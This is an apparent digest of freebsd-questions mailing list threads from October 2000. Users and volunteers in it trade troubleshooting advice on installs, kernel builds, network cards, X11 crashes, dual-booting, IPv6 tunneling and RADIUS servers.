>there ever shall be!


-Wash


--Subject: Re: Stable source onto cd for future use.


* Matt Bettinger <mattb@finsyn.com> [20001031 19:50]:
=>Hello,
=>
=>Ok i had the STABLE files burned onto cd for use later on or to bring
=>another computer up to STABLE.  I guess i burned the cd the wrong way.  It
=>just can't make build world from it on my other machine.  It says stop
=>don't know how to make obj.  Anyway.  i RE-Cvsupped the files  they are in
=>/usr/src.  Could someone please step me through the right way to burn
these
=>onto a cdrw and how to bring another computer up to STABLE 4.1.1 from the
=>cdrw?

I'm sure there is absolutely no need to do this.....since the sources keep
on being updated and this is therefore not the last 'stabilization' that
there ever shall be!


-Wash




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At 16:07 31/10/00 +0000, you wrote:

Use annonymous FTP.
(as login)

>Hi all
>
>I have been trying to get into the sendmail FTP site=20
>(<ftp://ftp.sendmail.org/pub/sendmail/sendmail>ftp://ftp.sendmail.org/pub/s=
endmail/sendmail.8.11.1.tar.gz)=20
>through the FreeBSD shell prompt but i have been unable to do so as it=20
>asks me for a password, I have been into this ftp site using IE5 and have=
=20
>had no dificulty what so ever.
>
>Please help!
>
>Regards
>
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gotcha. wow freebsd definitely looks like a very friendly organization.
Thanks to all those who replied!

Will ask more questions if I run into probs during the install.

I got the floppy thing figured thanks to you guys.

Reg,
Praveen

On Tue, 31 Oct 2000, Jeremiah Gowdy wrote:

> > Hello--
> >
> > Boot.flp is too big to fit into a 1.44 Mb floppy! despite what the FAQ
> > says. I get only around 1457664 bytes of free space after formatting a
> > 1.44 MB floppy diskette on WindowsNT! What do I do to get around this
> > problem? Create 2 diskettes? if so how do I do it, the fdimage program
> > doesn't give any explicit options for usage.
> >
> > And for doing an FTP install of (freeBSD 4.1.1-RELEASE on i386) do I
> > really need boot.flp?? or is kern.flp and mfsroot.flp enough?
> 
> heh.  there's two options.  if you have a 2.88 meg floppy drive, boot.flp is
> for you.  If you don't, it's kern.flp, then mfsroot.flp when prompted.
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On Tue, Oct 31, 2000 at 04:48:38PM -0000, Tarjei.Jensen@kvaerner.com wrote:
> The problem is that the option to use an FTP proxy without using passive FTP
> is unavailable. I have installed over NFS from a CDROM and that worked fine.
> Afterwards I set FTP_PROXY and unset PASSIVE_FTP (sorry if variable name is
> inaccurate, I'm trying to do another install now) and then fetch works like
> a charm.

In versions up to 4.1.1 FTP-proxy installation is broken.
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=>Hello!
=>I was wondering what other sys admins do about IP Address 
=>management.  By that I mean, the way (or, which method is commonly 
=>used to apply addresses for different devices) admins apply IP addresses 
=>to machines, printers, routers, etc.  This there a certian convention used?
=>I'm not sure if I'm totally making myself clear on this subject.  But
=>let's say you have a class C address block (192.168.0.0/24 for example).  
=>Where would you start numbering things off?  At the router, server, etc?  
=>(router = 192.168.0.1, firewall = 192.168.0.2, server = 192.168.0.3, printer 
=>= 192.168.0.3 for example).  I'm sure people don't apply addresses to 
=>machines at random, because that would be almost a nightmare to figure out 
=>what's what (unless you have DNS, or something to map it all out).


Router 192.168.0.1
Main Server (DNS, RADIUS, MAIL) 192.168.0.2
NAS Server (PortMaster 192.168.0.3 - 192.168.0.5) -depends on how many
you'll have so you can reserve a few IPs
Workstations I give from 192.168.0.100 --> they will not be so many!
Users who need fixed IP address (192.168.0.200 -->)
Well I have 212.22.163.0/24 and I can always get more because we have
enough but that is my practical scenario down here...

No random allocations and I have a record on who has what IP

HTH

-Wash


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Server crashed with an out of memory error and have to reboot it.
What can i do?

maxusers        512
options         "NMBCLUSTERS=16384"

Oct 29 21:30:15 ghost last message repeated 2445 times
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On Tue, Oct 31, 2000 at 04:04:27AM -0600, Ryan Thompson wrote:

>  b) Provide the system administrator with a comfortable working
> 	environment (i.e., an alternate login shell).  It is good to
> 	leave root's shell alone--i.e., leave it point to a shell
> 	in /bin/ such as sh, [t]csh, etc, so that it can be used in
> 	single user mode when other partitions (containing libraries
> 	that aren't statically linked, and other useful partitions,
> 	such as /usr) are not mounted.

As I point out everytime someone claims that...

FreeBSD asks you what shell you want when you boot single-user.  It
defaults to /bin/sh.  You will not screw yourself by setting root's
shell to /usr/local/bin/wackysh.  On the other hand, what's wrong with
"su -m" or sudo anyway?  I can't remember the last time I used root's
login shell.

(If you're trying to foster good habits for when people use other
varieties of UNIX that don't ask for a shell in single-user mode, then
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Hi there,

        I have recently cvsupped to freebsd 4.2 beta without knowing it
and my licq has segmentation fault core dump errors. I tried recompiling
qt and licq and even licq-1.0 from src, and it gave the same error. Has
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:)

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* Oliver Mills <oliver@crownhill.co.uk> [001031 08:56] wrote:
> Is apache already installed in FreeBSD??

No.  You need to install from ports, see: http://www.freebsd.org/ports/

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* Spades <spades@galaxynet.org> [001031 09:21] wrote:
> Server crashed with an out of memory error and have to reboot it.
> What can i do?
> 
> maxusers        512
> options         "NMBCLUSTERS=16384"
> 
> Oct 29 21:30:15 ghost last message repeated 2445 times
> Oct 29 21:30:15 ghost /kernel: xl0: no memr rx list -- packet dropped!
> Oct 29 21:30:15 ghost /kernel: xl0: no memory for rx list -- packet dropped!
> Oct 29 21:30:46 ghost last message repeated 8409 times
> Oct 29 21:30:53 ghost last message repeated 1522 times

Replace the card with an fxp (intel etherexpress pro), this worked for
me.

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I remember searching the mailing-list earlier and saw that someone created a
patch for this driver to work in current..?

Greg

-----Original Message-----
From: Kenneth Wayne Culver [mailto:culverk@wam.umd.edu]
Sent: Tuesday, October 31, 2000 11:58 AM
To: Potts, Ross
Cc: 'Greg Berenfield'; freebsd-questions@FreeBSD.ORG
Subject: RE: PCMCIA/PC-Card support


That card will be supported by the cardbus code once it's finished being
tested in -CURRENT. It will just use the if_xl driver for it's actual
driveer code, but there is no cardbus yet in -STABLE, so that's why it's
not being detected.



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On Tue, 31 Oct 2000, Potts, Ross wrote:

> The 3C575, I can tell you about.  The only drivers 3com buried (and
occasionally
> moves around) in their site are written for Linux.  Since it's 3Com and
not one
> of the FBSD devotees that wrote the code, chances are you won't get the
source
> to port it.  Maybe you can fudge with linux compatibility, I don't know
about
> that part
> 
> 	-----Original Message-----
> 	From:	Greg Berenfield [SMTP:gberenfield@berenfield.com]
> 	Sent:	Tuesday, October 31, 2000 10:53 AM
> 	To:	freebsd-questions@freebsd.org
> 	Subject:	PCMCIA/PC-Card support
> 
> 	Greetings,
> 
> 	I'm pretty new to FreeBSD and recently installed it on my Dell 7500
> laptop
> 	(previously installed it on a mini-tower for web-server role).
> 
> 	I'm trying to use the following pcmcia cards on my laptop and have
had
> no
> 	luck under 4.1.1-REL and 5-current:
> 
> 	3c589
> 	3c575
> 	3crw737a (AirConnect wireless)
> 
> 	The 3c589 (i think) should be the easiest one to get working but
under
> 	4.1.1-rel when I assign it an ip address with ifconfig, the link
light
> on
> 	the card goes from solid to blinking - everything looks right (as
far as
> I
> 	can tell)
> 
> 	Under 5-current, no luck with the 3c575 but I think that's due to
> ignorance
> 	(of a larger nature ;) 
> 	For 5-current, I'm using the NEWCARD config file as a template but
am
> unsure
> 	of what drivers to comment/leave in place for cardbus support.
> 	Also I have little/no clue on the device.hints file and just copied
> 	NEWCARD.hints to /boot/device.hints (least my 5-current kernel boots
:).
> 	But beyond that, I can't tell where to put in 3c575 config info to
have
> it
> 	recognize the card; it detects the inset but gives the hex id info
but I
> 	need to tie that to the pccard.conf file? And should this file sit
in
> the
> 	/etc/default dir or go into /etc ?
> 
> 	If there's any good reference docs for pcmcia/pccard support for
> 4.1.1-REL
> 	and/or 5-current, I'd love to know about them.
> 
> 	I'm new to FreeBSD but already love the security and cvs-update
features
> 	over redhat linux (7.0 my prime motivator for the switch). PCMCIA
> support is
> 	my only gripe - it seems limited over redhat's driver support.
(Cardbus
> 	being the limit I guess).
> 
> 	Any/all help greatly appreciated!
> 
> 	Greg B.
> 
> 
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Ryan Thompson <ryan@sasknow.com> writes:


> > i've setup a FreeBSD 4.0 box. Sysinstall suggest 'operator' as the ftp
> > "standard" group. Why so much permissions? Isn't somthing like
> > 'nogroup' a better choice?
> 
> Well, not really... You don't really want to have an ftp tree owned by
> nogroup.  Better is to use 'operator' and invite the ftp administrator(s)
> into that group.

Ok, but what is the main reason for this decision?

Many thanks
Matthias

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We did some interoperability testing between the UCLA code and
the Microsoft code, but we never picked up the code, and in fact
had toruble putting the UCLA software together until Yixin somehow 
put a kernel together that would work for our test.  It was a proof 
of concept, but it didn't go beyond that.  

The UCLA code was built on the Francis' stack from Inria, and I don't know
how different that is from the KAME stack. Francis had the 6over4 from UCLA
in his code when we went to Tokyo last year for the interim IPng
meeting and TAHI interoperability test - I helped him do a little
interoperability test there with Richard Draves from Microsoft, by
giving them a multi-hop IPv4 network with multicast service - it was no 
surprise to any of us that it worked, but it was nice to see.

So, Francis - you are the last person seen (by me) with a working 6over4 on
freeBSD!

Cyndi

At 06:55 AM 10/28/00 -0700, Lixia Zhang wrote:
>> 6to4 and 6over4, while having unfortunately similar names, are quite
>> different things.
>> 
>> 6to4 is a form of automatic IPv6 tunneling over IPv4.  The IPv4 address of
>> the "home" end of the tunnel is encoded into the IPv6 prefix.  See
>> draft-ietf-ngtrans-6to4-07.txt.
>> 
>> 6over4 is another IPv6 over "foo", where "foo" in this case is a
>> multicast-enabled IPv4 network, instead of say Ethernet or FDDI.  See RFC
>> 2529.
>> 
>> My recollection is that an implementation of 6over4 for some BSD flavor
>> exists, since I recall someone performing some interoperability testing
>> between our implementation and that implementation.  UCLA sounds
>> familiar.
>
>yes we did an implementation a few years back, I also recall the
>interoperability test.
>Someone from 3com picked up our code?
>Yixin, can you recall more details?
>
>Lixia
>
>
>
>> Aren't two interoperating implementations a requirement for Proposed
>> Standard? (RFC 2529 is at PS) I'm not aware of any others offhand, but it
>> wouldn't surprise me if there were some.
>> 
>> --Brian
>> 
>> > -----Original Message-----
>> > From: f.johan.beisser [mailto:jan@caustic.org]
>> > Sent: Friday, 27 October, 2000 12:32
>> > To: Brad Huntting
>> > Cc: snap-users@kame.net; freebsd-questions@FreeBSD.ORG;
>> > ngtrans@sunroof.eng.sun.com; ipng@sunroof.eng.sun.com
>> > Subject: Re: 6over4 for KAME (FreeBSD)
>> > 
>> > 
>> > 
>> > i'm not sure if this is what you mean, but:
>> > 
>> > http://www.kfu.com/~nsayer/6to4/
>> > 
>> > also, i think that it is documented on http://www.kame.net.
>> > 
>> > of course, i oculd very well be talking out of my butt.
>> > 
>> > -- jan
>> > 
>> > 
>> > 
>> > On Fri, 27 Oct 2000, Brad Huntting wrote:
>> > 
>> > > 
>> > > Has anyone started writing a 6over4 (rfc2529) driver for KAME and/or
>> > > FreeBSD?
>> > > 
>> > > I have a pointer to a UCLA project called "Virtual Ethernet" by
>> > > Quang Nguyen (no email address given), but it was written for the
>> > > Inria stack and FreeBSD2.  If there's nothing else available, I
>> > > may use this as a guide.
>> > > 
>> > 
>> > 
>> > -------/ f. johan beisser /--------------------------------------+
>> >   http://caustic.org/~jan                      jan@caustic.org
>> >    "Never laugh at someone until you've walked a mile in their
>> >          shoes. Then laugh. For you are a mile away, and
>> >                       you have their shoes."
>> > 
>> > 
>> > --------------------------------------------------------------------
>> > IETF IPng Working Group Mailing List
>> > IPng Home Page:                      http://playground.sun.com/ipng
>> > FTP archive:                      ftp://playground.sun.com/pub/ipng
>> > Direct all administrative requests to majordomo@sunroof.eng.sun.com
>> > --------------------------------------------------------------------
>> > 
>> --------------------------------------------------------------------
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>
>
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Hi,

You may want to change your tone a bit. There are some very knowledgable
people on this list who are willing to help you, but they are also
volunteers and don't take kindly to rude postings.

Now then, I too had some problems when I setup FreeBSD for the first time.
In order to help with your problem we need to know a little more
information. For instance, does the monitor seem to go into powersave mode?
Have you tried different Xfree settings? Have you checked the output of the
dmesg command to see if there was anything strange?

Victor Cardona
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Sent: Tuesday, October 31, 2000 7:42 AM
Subject: pissed!!!


> Dear freebsd.org,
>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> ran OpenBSD for a few months. But since I've installed the $49.99
> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> crashes! Is this what you consider to be "rock-solid stability??"
> Sometimes when I run startx, I get X to work. The other times, my
> system crashes to a point where I need to do a physical powerdown
> of my machine, cause even ctrl-alt-del wont work.
>    I have a pentium 2 300MHz class machine, with an SiS 5598
> video board. Nobody in the chat rooms knows anything about what I'm
> talking about. And I am PISSED!!! OpenBSD was working great (even via an
> ftp install!) But no, FreeBSD wants to be the luser in my box!!
> What should I do to fix this problem???
> Please email me with the fix!
>
>
>
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From owner-freebsd-questions  Tue Oct 31 10:37:17 2000
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I installed Windows on IDE channel 0, then moved it to channel 1.
I then installed FreeBSD on channel 0 with the windows disk active on channel 1,
but during install I selected only the ad0 drive to participate in the install.

When the system boots I am offered F1 = FreeBSD and F5 = Disk 1, and pressing
F5 only boots FreeBSD again.

I've tried variations including some use of boot0cfg, too much detail to report,
except that after running boot0cfg against the Windows disk, F5 on the first
disk gets to booteasy on the 2nd disk but now the system reports that F1 = Windows.
(Why doesn't the first booteasy report F5 = Windows instead of F5 = Disk 1?)

The question is:

If I have a Windows disk that was master on IDE channel 0, then move it to master
on channel 1 and want to install FreeBSD on the master on channel 0, what do
I have to do to make it dual-boot properly? I want to leave the Windows disk the
second drive and leave the MBR on the Windows disk alone, because the user keeps
trashing Windows and clobbers booteasy (losing easy access to FreeBSD) when
reinstalling Windows when Windows is the first drive.


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From owner-freebsd-questions  Tue Oct 31 10:38:58 2000
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No Problem.  Just, please, next time tone it down a bit.  You're just wasting
energy you could be using to heft a beer while waiting for the X-Windows to
finish setting up(Granted, it would be a short race to see who finished
first...)

	-----Original Message-----
	From:	Eric [SMTP:liberty6@twcny.rr.com]
	Sent:	Tuesday, October 31, 2000 2:10 PM
	To:	Potts, Ross
	Subject:	RE: pissed!!!

	On Tue, 31 Oct 2000, you wrote:
	> Send me your PII 300Mhz class machine, with Sis 5598.  I'll reboot
with my size
	> 11s.  Seriously, I hate SiS cards in regards to running with X.  Go
find a cheap
	> S3 based card or something along those lines.  Then load the right
server,
	> you'll be fine
	> 

	Thank you, you're the first one to give me a practical solution to my
problem.


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I have a couple of processes stuck in this state:

moster 81345  0.0  1.0  1112  720  ??  Ds   Fri03PM

kill nor kill -9 works, is there any way to kill these processes short of
rebooting the machine?

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From: Raymond Law <rlaw@vt.edu>
Subject: Re: Add a system call
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Can someone list the steps on how to add a system call in FreeBSD 4 please?

Thanks.
Ray,

At 03:24 PM 9/26/00 -0500, you wrote:
>Hi,
>
>I have been trying to insert a new system call (very simple),
>I have used the steps in the bottom without problems,
>but I don't understand the behavior of the program:
>
>::::::::::::::
>mysyscall.c
>::::::::::::::
>int mysyscall( int *n ) {
>    printf("In the kernel!\n");
>    *n = ( *n + 1000);
>    return 0;
>}
>
>::::::::::::::
>myprog.c
>::::::::::::::
>int mysyscall (int * );
>
>int main (void){
>    int x = 500;
>    mysyscall(&x);
>    printf("x= %i\n",x);
>}
>
>The kernel syscall apparently run but it doesn't modify the variable.
>
>$cc -o miprog miprog.c
>$ ./miprog
>x= 500
>
>In the kernel! <--- is showed in the console.
>
>If I compile with the function (syscall), it works apparently correctly.
>
>$cc -o miprog miprog.c mysyscall.c
>$ ./miprog
>In the kernel!
>x= 1500
>
>Thanks for your help.
>
>Yonny Cardenas B.
>
>--------------------------------------------------------------------------
>In Mon, 17 May 1999 Zhihui Zhang <zzhang@cs.binghamton.edu> wrote:
>
>I have used the following steps to add system calls to FreeBSD 3.1
>several
>times.  Suppose you want to add a system call:
>int mysys(int a, int b, int c). You can do the following steps:
>
>(1) # cd /usr/src/sys/kern
>(2) # vi syscalls.master to add your system call into the file:
>        172 STD BSD { int mysys(int a, int b, int c); }
>(3) # sh makesyscalls.sh syscalls.master
>     This creates three files: syscall.h, syscall-hide.h, and sysproto.h.
>(4) # vi mysys.c
>     Edit your file to implement your mysys().  You can follow the file
>     kern/vfs_syscalls.c.
>(6) # vi /sys/conf/files to add you file mysys.c into it.
>(7) Make a new kernel and install it (see FreeBSD handbook)
>The following steps update the libc library:
>(8) copy syscall.h, syscall-hide.h, and sysproto.h to /usr/include/sys
>(9) # cd /usr/src/lib/libc
>(10) # make obj
>(11) # make depend
>(12) # make all
>(13) # make insall
>Now you can reboot your machine and write a program that uses your
>mysys().
>--------------------------------------------------------------------------
>
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It only works with certain chipsets... look for "imp" in the people
section of www.advogato.org


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On Tue, 31 Oct 2000, Greg Berenfield wrote:

> I remember searching the mailing-list earlier and saw that someone created a
> patch for this driver to work in current..?
> 
> Greg
> 
> -----Original Message-----
> From: Kenneth Wayne Culver [mailto:culverk@wam.umd.edu]
> Sent: Tuesday, October 31, 2000 11:58 AM
> To: Potts, Ross
> Cc: 'Greg Berenfield'; freebsd-questions@FreeBSD.ORG
> Subject: RE: PCMCIA/PC-Card support
> 
> 
> That card will be supported by the cardbus code once it's finished being
> tested in -CURRENT. It will just use the if_xl driver for it's actual
> driveer code, but there is no cardbus yet in -STABLE, so that's why it's
> not being detected.
> 
> 
> 
> =================================================================
> | Kenneth Culver              | FreeBSD: The best NT upgrade    |
> | Unix Systems Administrator  | ICQ #: 24767726                 |
> | and student at The          | AIM: muythaibxr                 |
> | The University of Maryland, | Website: (Under Construction)   |
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> =================================================================
> 
> On Tue, 31 Oct 2000, Potts, Ross wrote:
> 
> > The 3C575, I can tell you about.  The only drivers 3com buried (and
> occasionally
> > moves around) in their site are written for Linux.  Since it's 3Com and
> not one
> > of the FBSD devotees that wrote the code, chances are you won't get the
> source
> > to port it.  Maybe you can fudge with linux compatibility, I don't know
> about
> > that part
> > 
> > 	-----Original Message-----
> > 	From:	Greg Berenfield [SMTP:gberenfield@berenfield.com]
> > 	Sent:	Tuesday, October 31, 2000 10:53 AM
> > 	To:	freebsd-questions@freebsd.org
> > 	Subject:	PCMCIA/PC-Card support
> > 
> > 	Greetings,
> > 
> > 	I'm pretty new to FreeBSD and recently installed it on my Dell 7500
> > laptop
> > 	(previously installed it on a mini-tower for web-server role).
> > 
> > 	I'm trying to use the following pcmcia cards on my laptop and have
> had
> > no
> > 	luck under 4.1.1-REL and 5-current:
> > 
> > 	3c589
> > 	3c575
> > 	3crw737a (AirConnect wireless)
> > 
> > 	The 3c589 (i think) should be the easiest one to get working but
> under
> > 	4.1.1-rel when I assign it an ip address with ifconfig, the link
> light
> > on
> > 	the card goes from solid to blinking - everything looks right (as
> far as
> > I
> > 	can tell)
> > 
> > 	Under 5-current, no luck with the 3c575 but I think that's due to
> > ignorance
> > 	(of a larger nature ;) 
> > 	For 5-current, I'm using the NEWCARD config file as a template but
> am
> > unsure
> > 	of what drivers to comment/leave in place for cardbus support.
> > 	Also I have little/no clue on the device.hints file and just copied
> > 	NEWCARD.hints to /boot/device.hints (least my 5-current kernel boots
> :).
> > 	But beyond that, I can't tell where to put in 3c575 config info to
> have
> > it
> > 	recognize the card; it detects the inset but gives the hex id info
> but I
> > 	need to tie that to the pccard.conf file? And should this file sit
> in
> > the
> > 	/etc/default dir or go into /etc ?
> > 
> > 	If there's any good reference docs for pcmcia/pccard support for
> > 4.1.1-REL
> > 	and/or 5-current, I'd love to know about them.
> > 
> > 	I'm new to FreeBSD but already love the security and cvs-update
> features
> > 	over redhat linux (7.0 my prime motivator for the switch). PCMCIA
> > support is
> > 	my only gripe - it seems limited over redhat's driver support.
> (Cardbus
> > 	being the limit I guess).
> > 
> > 	Any/all help greatly appreciated!
> > 
> > 	Greg B.
> > 
> > 
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I seem to recall some key that when combined with control (I believe) would
show a single line with the current system operation.  This way, if the
system seemed hung, you could hit this key and see that actually the system
was in the middle of an I/O operation.  It is sort of like top, only one
line, and only shows what the CPU is busy doing.  I have been looking all
over for this and I can't find it.  I don't even know where to start looking
.  Does anyone know what I am talking about here ?

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   Hi...  what is the function of time server in port 37 ???
   and which commands runs ???
   Can anybody help me ???

  Sorry... my English is bad !

   Greetings.. 
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Hello.

I do some tests on a diskless machine and I get no success on it.
I have to install a bunch of diskless X11 terminals (custom made)
based on standard hardware. As NIC we have Intel EtherExpress
PRO 10/100+ adaptors (fxp). They have all the same freshly updated
PXE boot PROM (flash) version 4.0.12 from Intel (PXE-standard 2.0).

I already set up bootp and tftp (as I did this three years ago using
netboot image to boot several PCs into a diskless workstation, that worked
well!). 

I use now this NIC without success using bootpd and tftpd on a FreeBSD
box, but with success with ISC DHCPD. Why? Is PXE explicitely using
some advantages of DHCP or is there a configuration trick in bootptab?
I want to use bootp and tftp because it's standard in FreeBSD.

Thanks for helping ...
Oliver
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Last night I updated to the latest source. After editing my kernel file
I went to /usr/src and did make buildkernel KERNEL=SIREN. I then did
make installkernel KERNEL=SIREN and got this error:

bash# make installkernel KERNEL=SIREN
cd /usr/obj/usr/src/sys/SIREN;  MAKEOBJDIRPREFIX=/usr/obj
COMPILER_PATH=/usr/obj/usr/src/i386/usr/libexec:/usr/obj/usr/src/i386/usr/bin
LIBRARY_PATH=/usr/obj/usr/src/i386/usr/lib:/usr/obj/usr/src/i386/usr/lib
OBJFORMAT_PATH=/usr/obj/usr/src/i386/usr/libexec
PERL5LIB=/usr/obj/usr/src/i386/usr/libdata/perl/5.00503 MACHINE=i386
make KERNEL=kernel install
chflags noschg /kernel
chflags: /kernel: Operation not permitted
*** Error code 1 (ignored)
mv /kernel /kernel.old
mv: rename /kernel to /kernel.old: Operation not permitted
*** Error code 1

Stop in /usr/obj/usr/src/sys/SIREN.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

Anyone know what the problem is?



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Unless the network is lying to me again, leoric@home.com said: 

> chflags: /kernel: Operation not permitted

> Anyone know what the problem is?

You are at an elevated security level where you are not allowed to lower
the schg flag on /kernel.  Or, you are not root (but seeing that you were
able to build the kernel, I doubt that is the case).

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Oct 31 15:45:37 p6m7g82k /kernel: calcru: negative time of 142102742 usec
for pid 14994 (navigator-4.73.us)

uname -a
FreeBSD p6m7g82k.student.umd.edu 4.1-RELEASE FreeBSD 4.1-RELEASE #1: Tue
Oct 24 13:26:47 EST 2000
root@p6m7g82k.student.umd.edu:/usr/src/sys/compile/PHILIP  i386

What the hell does that mean and how would one go about fixing it... I get
about 1-3 every 10 seconds while navigator-4.73.us is running ?

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Hi.

Made a bu bu in rc.conf and now my hole system is doing dev/null after
it starts to prosses rc.conf.

My question is, how to I bypass the system reading rc.conf so that I can
boot the system to fix the error?

PeTe



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Try (if possible, and if it's there) to find the parent pid for this
process.  Killing that may release the children processes from whatever
wait state they're currently in.  :)

Cheers,
Marc

On Tue, Oct 31, 2000 at 07:39:42PM +0200, Joel Bjork wrote:
> I have a couple of processes stuck in this state:
> 
> moster 81345  0.0  1.0  1112  720  ??  Ds   Fri03PM
> 
> kill nor kill -9 works, is there any way to kill these processes short of
> rebooting the machine?
> 
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Would like to find memory leaks in our application. The application is 
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Hi there,

You can boot the machine in single user mode and then fix rc.conf.  :)

Cheers,
Marc

On Tue, Oct 31, 2000 at 08:58:25PM +0100, Per Tore Larsen wrote:
> Hi.
> 
> Made a bu bu in rc.conf and now my hole system is doing dev/null after
> it starts to prosses rc.conf.
> 
> My question is, how to I bypass the system reading rc.conf so that I can
> boot the system to fix the error?
> 
> PeTe


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Hmm... It seems that my /kernel file is set to -r-xr-xr-x

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I am trying to set up a new system.  I have installed 4.1.1 release off of 
a iso image downloaded from the ftp site.  I have used this cd before for 
other installs.  I believe the cd is ok.

I am trying to install some of the ported applications, and am running into 
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I am still running the generic kernel after the initial restart.  Very 
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For academic reasons, I find myself needing to read some database journals.
However, the list of recommended journals seems more like a list of trade
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Hi Cristoph,
Thanks for the info - 
 re: the releases - aha!

 re: the disks, our 4.0 Release system made
 5 partitions on the disk on a twin system. As it is now
 we have root, swap, usr and var and can't create any more 
 partitions. This was seemingly forced on us by the slice manager and
 disk label editor.

 re: the update scheme - this includes ports & packages as well?

kind regards,
hurf,

Moral:
If you fix it before it breaks, you get weekends off.

Christoph Sold wrote:
> 
> Hurf Sheldon schrieb:
> >
> > Hi Folks,
> > Some questions re: FreeBSD installs.
> > I've just installed 4.1 from the CD-Rom dated August. Is that considered
> > the "stable"? We installed the "X with kernel sources" selection
> > with no extras save linux and 3.2 binary compatability.
> 
> It is 4.1-RELEASE. Have a look at
> /usr/share/doc/handboook/current-stable.html to learn what current
> distinguises from stable and that in turn from release.
> 
> To put a long story short: current is the bleeding edge, stable gets the
> occasional bugfix, and release is stable at some point in time a while
> ago. stable and current are continuously updated, while release is not.
> 
> > During the install the disk format routine would only allow 4 partitions
> > (9gb SCSI on adaptec 2940) - anything further was given the device entry
> > "X"
> 
> This is a limit of the PC architecture. FreeBSD does not nett PC
> partitions like Linux (in BSD lingo, a partition is a "slice"). One
> slice (PC lingo "partition") is enough to hold all the BSD partitions
> you may think of.
> 
> > After boot and  kernel rebuild (for dual cpus ), we can't mount the
> > CDROM for additional package installs (from /stand/sysinstall) - we get the
> > error - "bad super block"
> 
> Usually /stand/sysinstall is right about such things.
> 
> > We have several FreeBSD systems, now spanning 3.2->4.1. I'm curious what
> > schemes people are using to keep a group of systems updated as
> > painlessly  as possible. There are 3 fronts: The system software, the packages and
> > the ports that we'd like to be able to keep synced among the systems.
> > What has been successful?
> 
> I got a playbox to check everything out, a production masterserver
> containing the source happily making worl if the playbox was successful
> up to all the tasks tested, and several production boxes, which get
> updated when the need arises.
> 
> Morale: if it ain't broken, don't fix it.
> 
> Just my .02$
> -Christoph Sold

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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 10/31/00, 8:48:54 PM, "Philip M. Gollucci" <gollucci@wam.umd.edu>=20
wrote regarding WIERDEST ERROR MSG EVER:


> Oct 31 15:45:37 p6m7g82k /kernel: calcru: negative time of 142102742=20
usec
> for pid 14994 (navigator-4.73.us)

> uname -a
> FreeBSD p6m7g82k.student.umd.edu 4.1-RELEASE FreeBSD 4.1-RELEASE #1:=20
Tue
> Oct 24 13:26:47 EST 2000
> root@p6m7g82k.student.umd.edu:/usr/src/sys/compile/PHILIP  i386

> What the hell does that mean and how would one go about fixing it... I=
=20
get
> about 1-3 every 10 seconds while navigator-4.73.us is running ?




Dear Philip Gollucci,

<gentle suggestion>

0) Please keep in mind this is one of the most widely read FreeBSD=20
mailing lists;

1) Please do your homework first: ie you may wish to have a look at=20
the FAQ (in particular, at the Troubleshooting section) as well as at=20
the archives, searching eg for "calcru"; you may also find a clue in LIN=
T;

2) You may wish to run a more recent version of navigator :-)

</gentle suggestion>=20

Best regards,
Salvo





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i have just sync my src tree and rebuild the world+kernel, everything
works great but i cannot compile no program, that what i get:

etosha$ cc -o list.cgi main.o lst.o get_bound.o -L/usr/local/lib
-L/usr/local/lib/mysql -lfcgi -lmysqlclient
/usr/lib/crtbegin.o: In function `_init':
/usr/lib/crtbegin.o(.init+0x0): multiple definition of `_init'
/usr/lib/crti.o(.init+0x0): first defined here
/usr/lib/crtbegin.o: In function `_fini':
/usr/lib/crtbegin.o(.fini+0x0): multiple definition of `_fini'
/usr/lib/crti.o(.fini+0x0): first defined here
/usr/local/lib/mysql/libmysqlclient.so: warning: tempnam() possibly used
unsafely; consider using mkstemp()


Does anybody have any ideia ?


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On 31-Oct-00 O. Hartmann wrote:
> Hello.
> 
> I do some tests on a diskless machine and I get no success on it.
> I have to install a bunch of diskless X11 terminals (custom made)
> based on standard hardware. As NIC we have Intel EtherExpress
> PRO 10/100+ adaptors (fxp). They have all the same freshly updated
> PXE boot PROM (flash) version 4.0.12 from Intel (PXE-standard 2.0).
> 
> I already set up bootp and tftp (as I did this three years ago using
> netboot image to boot several PCs into a diskless workstation, that worked
> well!). 
> 
> I use now this NIC without success using bootpd and tftpd on a FreeBSD
> box, but with success with ISC DHCPD. Why? Is PXE explicitely using
> some advantages of DHCP or is there a configuration trick in bootptab?
> I want to use bootp and tftp because it's standard in FreeBSD.

PXE uses DHCP, so you will have to use the DHCP server.

> Thanks for helping ...
> Oliver
> -
> MfG 
> O. Hartmann
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Hi,

I was wondering if there is a config file or env var I can set to change the
locations of /usr/obj and /usr/ports to alter the behaviour of the make process.

--mtc


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Perhaps try something as simple as just setting up symbolic links?
Ex:
within my /usr

lrwxrwxrwx   1 root  wheel     8 May 16 17:30 obj -> /cvs/obj
lrwxr-xr-x   1 root  wheel     8 Feb  9  2000 src -> /cvs/src

And you could just as easily set up one for /usr/ports, too.

hope that helps,
John

> Hi,
> 
> I was wondering if there is a config file or env var I can set to change the
> locations of /usr/obj and /usr/ports to alter the behaviour of the make process.
> 
> --mtc
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> gotcha. wow freebsd definitely looks like a very friendly organization.
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>
> I got the floppy thing figured thanks to you guys.
>
> Reg,
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Tnx.
Still learning how to get this Freebsd to do what I want, which I might add
is as easy as getting a beer when you are 14.

PeTe

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> I would recomend booting into single user mode, mounting the drive, and
> fixing the rc.conf
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> > Made a bu bu in rc.conf and now my hole system is doing dev/null after
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France Gerson Bala wrote:
> 
> Can I used a BSD RADIUS server to authenticate users via LAN and PPP?
> 
> Thanx,
> 
> Bullet

We use older Livingston and Ascend code for radiusd for dialup/ISDN access,
works fine.

I hadn't gotten the new radius port to work properly since it won't run,
saying a file is missing (a config file like 'users' and 'dictionary'.)
The make install does not copy the default or example file over properly.
The problem might be easily fixed but I didn't see how in a little while
of banging on it.
.
The port is a later version of the radius daemon. The source still
available from Ascend or Livingston might be the older version, which
will still work fine for normal stuff.

Verify the port numbers used. The older code will use 1645 and 1646.
You can run a livingston and an ascend radiusd in parallel if you carefully
edit one of the sources to use different port numbers (and of course the device
has to know the alternate ports as well.) You can even merge the dictionaries
and use the ascend radiusd to serve both normal and ascend radius requests
but that scenario couldn't log accounting for the normal (in our case
Portmaster 2eR or 3Com HiPER DSP) server.

Livingston = everything but Ascend, so Livingston is the 'standard'. The
latest ports don't refer to Livingston by name. You should still be able
to get the livingston code from livingston.com (now a part of lucent.)
It's also public domain in other places.


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We use Cistron Radius.  The only racks we use now are Ascend, but we had it
